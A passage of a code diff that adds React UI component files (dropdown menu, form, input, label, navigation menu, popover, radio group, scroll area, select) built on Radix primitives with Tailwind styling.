+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 max-h-(--radix-dropdown-menu-content-available-height) min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border p-1 shadow-md",
+          className,
+        )}
+        {...props}
+      />
+    </DropdownMenuPrimitive.Portal>
+  );
+}
+
+function DropdownMenuGroup({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Group>) {
+  return (
+    <DropdownMenuPrimitive.Group data-slot="dropdown-menu-group" {...props} />
+  );
+}
+
+function DropdownMenuItem({
+  className,
+  inset,
+  variant = "default",
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Item> & {
+  inset?: boolean;
+  variant?: "default" | "destructive";
+}) {
+  return (
+    <DropdownMenuPrimitive.Item
+      data-slot="dropdown-menu-item"
+      data-inset={inset}
+      data-variant={variant}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 dark:data-[variant=destructive]:focus:bg-destructive/20 data-[variant=destructive]:focus:text-destructive data-[variant=destructive]:*:[svg]:!text-destructive [&_svg:not([class*='text-'])]:text-muted-foreground relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuCheckboxItem({
+  className,
+  children,
+  checked,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.CheckboxItem>) {
+  return (
+    <DropdownMenuPrimitive.CheckboxItem
+      data-slot="dropdown-menu-checkbox-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      checked={checked}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <DropdownMenuPrimitive.ItemIndicator>
+          <CheckIcon className="size-4" />
+        </DropdownMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </DropdownMenuPrimitive.CheckboxItem>
+  );
+}
+
+function DropdownMenuRadioGroup({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioGroup>) {
+  return (
+    <DropdownMenuPrimitive.RadioGroup
+      data-slot="dropdown-menu-radio-group"
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuRadioItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.RadioItem>) {
+  return (
+    <DropdownMenuPrimitive.RadioItem
+      data-slot="dropdown-menu-radio-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      <span className="pointer-events-none absolute left-2 flex size-3.5 items-center justify-center">
+        <DropdownMenuPrimitive.ItemIndicator>
+          <CircleIcon className="size-2 fill-current" />
+        </DropdownMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </DropdownMenuPrimitive.RadioItem>
+  );
+}
+
+function DropdownMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Label> & {
+  inset?: boolean;
+}) {
+  return (
+    <DropdownMenuPrimitive.Label
+      data-slot="dropdown-menu-label"
+      data-inset={inset}
+      className={cn(
+        "px-2 py-1.5 text-sm font-medium data-[inset]:pl-8",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
+  return (
+    <DropdownMenuPrimitive.Separator
+      data-slot="dropdown-menu-separator"
+      className={cn("bg-border -mx-1 my-1 h-px", className)}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuShortcut({
+  className,
+  ...props
+}: React.ComponentProps<"span">) {
+  return (
+    <span
+      data-slot="dropdown-menu-shortcut"
+      className={cn(
+        "text-muted-foreground ml-auto text-xs tracking-widest",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function DropdownMenuSub({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
+  return <DropdownMenuPrimitive.Sub data-slot="dropdown-menu-sub" {...props} />;
+}
+
+function DropdownMenuSubTrigger({
+  className,
+  inset,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubTrigger> & {
+  inset?: boolean;
+}) {
+  return (
+    <DropdownMenuPrimitive.SubTrigger
+      data-slot="dropdown-menu-sub-trigger"
+      data-inset={inset}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground flex cursor-default items-center rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      <ChevronRightIcon className="ml-auto size-4" />
+    </DropdownMenuPrimitive.SubTrigger>
+  );
+}
+
+function DropdownMenuSubContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
+  return (
+    <DropdownMenuPrimitive.SubContent
+      data-slot="dropdown-menu-sub-content"
+      className={cn(
+        "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export {
+  DropdownMenu,
+  DropdownMenuPortal,
+  DropdownMenuTrigger,
+  DropdownMenuContent,
+  DropdownMenuGroup,
+  DropdownMenuLabel,
+  DropdownMenuItem,
+  DropdownMenuCheckboxItem,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuSub,
+  DropdownMenuSubTrigger,
+  DropdownMenuSubContent,
+};

web/app/components/ui/form.tsx

@@ -0,0 +1,199 @@
+import { type Label as LabelPrimitive, Slot as SlotPrimitive } from "radix-ui";
+import * as React from "react";
+import {
+  Controller,
+  type ControllerProps,
+  type FieldPath,
+  type FieldValues,
+  FormProvider,
+  useFormContext,
+  useFormState,
+} from "react-hook-form";
+import { Label } from "@/components/ui/label";
+import { cn } from "@/lib/utils";
+
+const Form = FormProvider;
+
+type FormFieldContextValue<
+  TFieldValues extends FieldValues = FieldValues,
+  TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
+> = {
+  name: TName;
+};
+
+const FormFieldContext = React.createContext<FormFieldContextValue>(
+  {} as FormFieldContextValue,
+);
+
+const FormField = <
+  TFieldValues extends FieldValues = FieldValues,
+  TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
+>({
+  ...props
+}: ControllerProps<TFieldValues, TName>) => {
+  return (
+    <FormFieldContext.Provider value={{ name: props.name }}>
+      <Controller {...props} />
+    </FormFieldContext.Provider>
+  );
+};
+
+const useFormField = () => {
+  const fieldContext = React.useContext(FormFieldContext);
+  const itemContext = React.useContext(FormItemContext);
+  const { getFieldState } = useFormContext();
+  const formState = useFormState({ name: fieldContext.name });
+  const fieldState = getFieldState(fieldContext.name, formState);
+
+  if (!fieldContext) {
+    throw new Error("useFormField should be used within <FormField>");
+  }
+
+  const { id } = itemContext;
+
+  return {
+    id,
+    name: fieldContext.name,
+    formItemId: `${id}-form-item`,
+    formDescriptionId: `${id}-form-item-description`,
+    formMessageId: `${id}-form-item-message`,
+    ...fieldState,
+  };
+};
+
+type FormItemContextValue = {
+  id: string;
+};
+
+const FormItemContext = React.createContext<FormItemContextValue>(
+  {} as FormItemContextValue,
+);
+
+function FormItem({ className, ...props }: React.ComponentProps<"div">) {
+  const id = React.useId();
+
+  return (
+    <FormItemContext.Provider value={{ id }}>
+      <div
+        data-slot="form-item"
+        className={cn("gap-2", className)}
+        {...props}
+      />
+    </FormItemContext.Provider>
+  );
+}
+
+function FormFieldItem({ className, ...props }: React.ComponentProps<"div">) {
+  const id = React.useId();
+
+  return (
+    <FormItemContext.Provider value={{ id }}>
+      <div
+        data-slot="form-item"
+        className={cn("flex flex-col gap-1", className)}
+        {...props}
+      />
+    </FormItemContext.Provider>
+  );
+}
+
+function FormLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  const { error, formItemId } = useFormField();
+
+  return (
+    <Label
+      data-slot="form-label"
+      data-error={!!error}
+      className={cn("data-[error=true]:text-destructive", className)}
+      htmlFor={formItemId}
+      {...props}
+    />
+  );
+}
+
+function FormFieldLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  const { error, formItemId } = useFormField();
+
+  return (
+    <Label
+      data-slot="form-label"
+      data-error={!!error}
+      className={cn("data-[error=true]:text-destructive h-6", className)}
+      htmlFor={formItemId}
+      {...props}
+    />
+  );
+}
+
+function FormControl({
+  ...props
+}: React.ComponentProps<typeof SlotPrimitive.Slot>) {
+  const { error, formItemId, formDescriptionId, formMessageId } =
+    useFormField();
+
+  return (
+    <SlotPrimitive.Slot
+      data-slot="form-control"
+      id={formItemId}
+      aria-describedby={
+        !error
+          ? `${formDescriptionId}`
+          : `${formDescriptionId} ${formMessageId}`
+      }
+      aria-invalid={!!error}
+      {...props}
+    />
+  );
+}
+
+function FormDescription({ className, ...props }: React.ComponentProps<"p">) {
+  const { formDescriptionId } = useFormField();
+
+  return (
+    <p
+      data-slot="form-description"
+      id={formDescriptionId}
+      className={cn("text-muted-foreground text-sm", className)}
+      {...props}
+    />
+  );
+}
+
+function FormMessage({ className, ...props }: React.ComponentProps<"p">) {
+  const { error, formMessageId } = useFormField();
+  const body = error ? String(error?.message ?? "") : props.children;
+
+  if (!body) {
+    return null;
+  }
+
+  return (
+    <p
+      data-slot="form-message"
+      id={formMessageId}
+      className={cn("text-destructive text-sm", className)}
+      {...props}
+    >
+      {body}
+    </p>
+  );
+}
+
+export {
+  useFormField,
+  Form,
+  FormItem,
+  FormFieldItem,
+  FormLabel,
+  FormFieldLabel,
+  FormControl,
+  FormDescription,
+  FormMessage,
+  FormField,
+};

web/app/components/ui/input.tsx

@@ -0,0 +1,21 @@
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Input({ className, type, ...props }: React.ComponentProps<"input">) {
+  return (
+    <input
+      type={type}
+      data-slot="input"
+      className={cn(
+        "file:text-foreground placeholder:text-muted-foreground selection:bg-primary selection:text-primary-foreground dark:bg-input/30 border-input flex h-8 w-full min-w-0 rounded-md border bg-transparent px-3 py-1 text-sm shadow-xs transition-[color,box-shadow] outline-none file:inline-flex file:h-6 file:border-0 file:bg-transparent file:text-sm file:font-medium disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
+        "focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]",
+        "aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Input };

web/app/components/ui/label.tsx

@@ -0,0 +1,22 @@
+import { Label as LabelPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Label({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  return (
+    <LabelPrimitive.Root
+      data-slot="label"
+      className={cn(
+        "flex items-center gap-2 text-sm leading-none font-medium select-none group-data-[disabled=true]:pointer-events-none group-data-[disabled=true]:opacity-50 peer-disabled:cursor-not-allowed peer-disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+export { Label };

web/app/components/ui/navigation-menu.tsx

@@ -0,0 +1,168 @@
+import { cva } from "class-variance-authority";
+import { ChevronDownIcon } from "lucide-react";
+import { NavigationMenu as NavigationMenuPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function NavigationMenu({
+  className,
+  children,
+  viewport = true,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Root> & {
+  viewport?: boolean;
+}) {
+  return (
+    <NavigationMenuPrimitive.Root
+      data-slot="navigation-menu"
+      data-viewport={viewport}
+      className={cn(
+        "group/navigation-menu relative flex max-w-max flex-1 items-center justify-center",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      {viewport && <NavigationMenuViewport />}
+    </NavigationMenuPrimitive.Root>
+  );
+}
+
+function NavigationMenuList({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.List>) {
+  return (
+    <NavigationMenuPrimitive.List
+      data-slot="navigation-menu-list"
+      className={cn(
+        "group flex flex-1 list-none items-center justify-center gap-1",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function NavigationMenuItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Item>) {
+  return (
+    <NavigationMenuPrimitive.Item
+      data-slot="navigation-menu-item"
+      className={cn("relative", className)}
+      {...props}
+    />
+  );
+}
+
+const navigationMenuTriggerStyle = cva(
+  "group inline-flex h-9 w-max items-center justify-center rounded-md px-4 py-2 text-sm font-medium hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground disabled:pointer-events-none disabled:opacity-50 data-[state=open]:hover:bg-accent data-[state=open]:text-accent-foreground data-[state=open]:focus:bg-accent data-[state=open]:bg-accent/50 focus-visible:ring-ring/50 outline-none transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1",
+);
+
+function NavigationMenuTrigger({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Trigger>) {
+  return (
+    <NavigationMenuPrimitive.Trigger
+      data-slot="navigation-menu-trigger"
+      className={cn(navigationMenuTriggerStyle(), "group", className)}
+      {...props}
+    >
+      {children}{" "}
+      <ChevronDownIcon
+        className="relative top-[1px] ml-1 size-3 transition duration-300 group-data-[state=open]:rotate-180"
+        aria-hidden="true"
+      />
+    </NavigationMenuPrimitive.Trigger>
+  );
+}
+
+function NavigationMenuContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Content>) {
+  return (
+    <NavigationMenuPrimitive.Content
+      data-slot="navigation-menu-content"
+      className={cn(
+        "data-[motion^=from-]:animate-in data-[motion^=to-]:animate-out data-[motion^=from-]:fade-in data-[motion^=to-]:fade-out data-[motion=from-end]:slide-in-from-right-52 data-[motion=from-start]:slide-in-from-left-52 data-[motion=to-end]:slide-out-to-right-52 data-[motion=to-start]:slide-out-to-left-52 top-0 left-0 w-full p-2 pr-2.5 md:absolute md:w-auto",
+        "group-data-[viewport=false]/navigation-menu:bg-popover group-data-[viewport=false]/navigation-menu:text-popover-foreground group-data-[viewport=false]/navigation-menu:data-[state=open]:animate-in group-data-[viewport=false]/navigation-menu:data-[state=closed]:animate-out group-data-[viewport=false]/navigation-menu:data-[state=closed]:zoom-out-95 group-data-[viewport=false]/navigation-menu:data-[state=open]:zoom-in-95 group-data-[viewport=false]/navigation-menu:data-[state=open]:fade-in-0 group-data-[viewport=false]/navigation-menu:data-[state=closed]:fade-out-0 group-data-[viewport=false]/navigation-menu:top-full group-data-[viewport=false]/navigation-menu:mt-1.5 group-data-[viewport=false]/navigation-menu:overflow-hidden group-data-[viewport=false]/navigation-menu:rounded-md group-data-[viewport=false]/navigation-menu:border group-data-[viewport=false]/navigation-menu:shadow group-data-[viewport=false]/navigation-menu:duration-200 **:data-[slot=navigation-menu-link]:focus:ring-0 **:data-[slot=navigation-menu-link]:focus:outline-none",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function NavigationMenuViewport({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Viewport>) {
+  return (
+    <div
+      className={cn(
+        "absolute top-full left-0 isolate z-50 flex justify-center",
+      )}
+    >
+      <NavigationMenuPrimitive.Viewport
+        data-slot="navigation-menu-viewport"
+        className={cn(
+          "origin-top-center bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-90 relative mt-1.5 h-[var(--radix-navigation-menu-viewport-height)] w-full overflow-hidden rounded-md border shadow md:w-[var(--radix-navigation-menu-viewport-width)]",
+          className,
+        )}
+        {...props}
+      />
+    </div>
+  );
+}
+
+function NavigationMenuLink({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Link>) {
+  return (
+    <NavigationMenuPrimitive.Link
+      data-slot="navigation-menu-link"
+      className={cn(
+        "data-[active=true]:focus:bg-accent data-[active=true]:hover:bg-accent data-[active=true]:bg-accent/50 data-[active=true]:text-accent-foreground hover:bg-accent hover:text-accent-foreground focus:bg-accent focus:text-accent-foreground focus-visible:ring-ring/50 [&_svg:not([class*='text-'])]:text-muted-foreground flex flex-col gap-1 rounded-sm p-2 text-sm transition-all outline-none focus-visible:ring-[3px] focus-visible:outline-1 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    />
+  );
+}
+
+function NavigationMenuIndicator({
+  className,
+  ...props
+}: React.ComponentProps<typeof NavigationMenuPrimitive.Indicator>) {
+  return (
+    <NavigationMenuPrimitive.Indicator
+      data-slot="navigation-menu-indicator"
+      className={cn(
+        "data-[state=visible]:animate-in data-[state=hidden]:animate-out data-[state=hidden]:fade-out data-[state=visible]:fade-in top-full z-[1] flex h-1.5 items-end justify-center overflow-hidden",
+        className,
+      )}
+      {...props}
+    >
+      <div className="bg-border relative top-[60%] h-2 w-2 rotate-45 rounded-tl-sm shadow-md" />
+    </NavigationMenuPrimitive.Indicator>
+  );
+}
+
+export {
+  NavigationMenu,
+  NavigationMenuList,
+  NavigationMenuItem,
+  NavigationMenuContent,
+  NavigationMenuTrigger,
+  NavigationMenuLink,
+  NavigationMenuIndicator,
+  NavigationMenuViewport,
+  navigationMenuTriggerStyle,
+};

web/app/components/ui/popover.tsx

@@ -0,0 +1,46 @@
+import { Popover as PopoverPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Popover({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Root>) {
+  return <PopoverPrimitive.Root data-slot="popover" {...props} />;
+}
+
+function PopoverTrigger({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Trigger>) {
+  return <PopoverPrimitive.Trigger data-slot="popover-trigger" {...props} />;
+}
+
+function PopoverContent({
+  className,
+  align = "center",
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Content>) {
+  return (
+    <PopoverPrimitive.Portal>
+      <PopoverPrimitive.Content
+        data-slot="popover-content"
+        align={align}
+        sideOffset={sideOffset}
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-72 origin-(--radix-popover-content-transform-origin) rounded-md border p-4 shadow-md outline-hidden",
+          className,
+        )}
+        {...props}
+      />
+    </PopoverPrimitive.Portal>
+  );
+}
+
+function PopoverAnchor({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Anchor>) {
+  return <PopoverPrimitive.Anchor data-slot="popover-anchor" {...props} />;
+}
+
+export { Popover, PopoverTrigger, PopoverContent, PopoverAnchor };

web/app/components/ui/radio-group.tsx

@@ -0,0 +1,43 @@
+import { CircleIcon } from "lucide-react";
+import { RadioGroup as RadioGroupPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function RadioGroup({
+  className,
+  ...props
+}: React.ComponentProps<typeof RadioGroupPrimitive.Root>) {
+  return (
+    <RadioGroupPrimitive.Root
+      data-slot="radio-group"
+      className={cn("grid gap-2", className)}
+      {...props}
+    />
+  );
+}
+
+function RadioGroupItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof RadioGroupPrimitive.Item>) {
+  return (
+    <RadioGroupPrimitive.Item
+      data-slot="radio-group-item"
+      className={cn(
+        "border-input text-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 aspect-square size-4 shrink-0 rounded-full border shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50",
+        className,
+      )}
+      {...props}
+    >
+      <RadioGroupPrimitive.Indicator
+        data-slot="radio-group-indicator"
+        className="relative flex items-center justify-center"
+      >
+        <CircleIcon className="fill-primary absolute top-1/2 left-1/2 size-2 -translate-x-1/2 -translate-y-1/2" />
+      </RadioGroupPrimitive.Indicator>
+    </RadioGroupPrimitive.Item>
+  );
+}
+
+export { RadioGroup, RadioGroupItem };

web/app/components/ui/scroll-area.tsx

@@ -0,0 +1,56 @@
+import { ScrollArea as ScrollAreaPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function ScrollArea({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.Root>) {
+  return (
+    <ScrollAreaPrimitive.Root
+      data-slot="scroll-area"
+      className={cn("relative", className)}
+      {...props}
+    >
+      <ScrollAreaPrimitive.Viewport
+        data-slot="scroll-area-viewport"
+        className="focus-visible:ring-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-[3px] focus-visible:outline-1"
+      >
+        {children}
+      </ScrollAreaPrimitive.Viewport>
+      <ScrollBar />
+      <ScrollAreaPrimitive.Corner />
+    </ScrollAreaPrimitive.Root>
+  );
+}
+
+function ScrollBar({
+  className,
+  orientation = "vertical",
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.ScrollAreaScrollbar>) {
+  return (
+    <ScrollAreaPrimitive.ScrollAreaScrollbar
+      data-slot="scroll-area-scrollbar"
+      orientation={orientation}
+      className={cn(
+        "flex touch-none p-px transition-colors select-none",
+        orientation === "vertical" &&
+          "h-full w-2.5 border-l border-l-transparent",
+        orientation === "horizontal" &&
+          "h-2.5 flex-col border-t border-t-transparent",
+        className,
+      )}
+      {...props}
+    >
+      <ScrollAreaPrimitive.ScrollAreaThumb
+        data-slot="scroll-area-thumb"
+        className="bg-border relative flex-1 rounded-full"
+      />
+    </ScrollAreaPrimitive.ScrollAreaScrollbar>
+  );
+}
+
+export { ScrollArea, ScrollBar };

web/app/components/ui/select.tsx

@@ -0,0 +1,183 @@
+import { CheckIcon, ChevronDownIcon, ChevronUpIcon } from "lucide-react";
+import { Select as SelectPrimitive } from "radix-ui";
+import type * as React from "react";
+
+import { cn } from "@/lib/utils";
+
+function Select({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Root>) {
+  return <SelectPrimitive.Root data-slot="select" {...props} />;
+}
+
+function SelectGroup({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Group>) {
+  return <SelectPrimitive.Group data-slot="select-group" {...props} />;
+}
+
+function SelectValue({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Value>) {
+  return <SelectPrimitive.Value data-slot="select-value" {...props} />;
+}
+
+function SelectTrigger({
+  className,
+  size = "default",
+  children,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Trigger> & {
+  size?: "sm" | "default";
+}) {
+  return (
+    <SelectPrimitive.Trigger
+      data-slot="select-trigger"
+      data-size={size}
+      className={cn(
+        "h-8 border-input data-[placeholder]:text-muted-foreground [&_svg:not([class*='text-'])]:text-muted-foreground focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 dark:hover:bg-input/50 flex w-full items-center justify-between gap-2 rounded-md border bg-transparent px-3 py-2 text-sm whitespace-nowrap shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center *:data-[slot=select-value]:gap-2 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className,
+      )}
+      {...props}
+    >
+      {children}
+      <SelectPrimitive.Icon asChild>
+        <ChevronDownIcon className="size-4 opacity-50" />
+      </SelectPrimitive.Icon>
+    </SelectPrimitive.Trigger>
+  );
+}
+
+function SelectContent({
+  className,
+  children,
+  position = "popper",
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Content>) {
+  return (
+    <SelectPrimitive.Portal>
+      <SelectPrimitive.Content
+        data-slot="select-content"
+        className={cn(
+          "bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 relative z-50 max-h-(--radix-select-content-available-height) min-w-[8rem] origin-(--radix-select-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-md border shadow-md",
+          position === "popper" &&
+            "data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",
+          className,
+        )}
+        position={position}
+        {...props}
+      >
+        <SelectScrollUpButton />
+        <SelectPrimitive.Viewport
+          className={cn(
+            "p-1",
+            position === "popper" &&
+              "h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)] scroll-my-1",
+          )}
+        >
+          {children}
+        </SelectPrimitive.Viewport>
+        <SelectScrollDownButton />
+      </SelectPrimitive.Content>
+    </SelectPrimitive.Portal>
+  );
+}
+
+function SelectLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Label>) {
+  return (
+    <SelectPrimitive.Label
+      data-slot="select-label"
+      className={cn("text-muted-foreground px-2 py-1.5 text-xs", className)}
+      {...props}
+    />
+  );
+}
+
+function SelectItem({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Item>) {
+  return (
+    <SelectPrimitive.Item
+      data-slot="select-item"
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground [&_svg:not([class*='text-'])]:text-muted-foreground relative flex w-full cursor-default items-center gap-2 rounded-sm py-1.5 pr-8 pl-2 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
+        className,
+      )}
+      {...props}
+    >
+      <span className="absolute right-2 flex size-3.5 items-center justify-center">
+        <SelectPrimitive.ItemIndicator>
+          <CheckIcon className="size-4" />
+        </SelectPrimitive.ItemIndicator>
+      </span>
+      <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>
+    </SelectPrimitive.Item>
+  );
+}
+
+function SelectSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Separator>) {
+  return (
+    <SelectPrimitive.Separator
+      data-slot="select-separator"
+      className={cn("bg-border pointer-events-none -mx-1 my-1 h-px", className)}
+      {...props}
+    />
+  );
+}
+
+function SelectScrollUpButton({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.ScrollUpButton>) {
+  return (
+    <SelectPrimitive.ScrollUpButton
+      data-slot="select-scroll-up-button"
+      className={cn(
+        "flex cursor-default items-center justify-center py-1",
+        className,
+      )}
+      {...props}
+    >
+      <ChevronUpIcon className="size-4" />
+    </SelectPrimitive.ScrollUpButton>
+  );
+}
+
+function SelectScrollDownButton({
+  className,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.ScrollDownButton>) {
+  return (
+    <SelectPrimitive.ScrollDownButton
+      data-slot="select-scroll-down-button"
+      className={cn(
+        "flex cursor-default items-center justify-center py-1",
+        className,
+      )}
+      {...props}
+    >
+      <ChevronDownIcon className="size-4" />
+    </SelectPrimitive.ScrollDownButton>
+  );
+}
+
+export {
+  Select,
+  SelectContent,
+  SelectGroup,
+  SelectItem,
+  SelectLabel,
+  SelectScrollDownButton,
+  SelectScrollUpButton,
+  SelectSeparator,
+  SelectTrigger,
+  SelectValue,
+};

web/app/components/ui/separator.tsx

@@ -0,0 +1,26 @@
+import { Separator as SeparatorPrimitive } from "radix-ui";
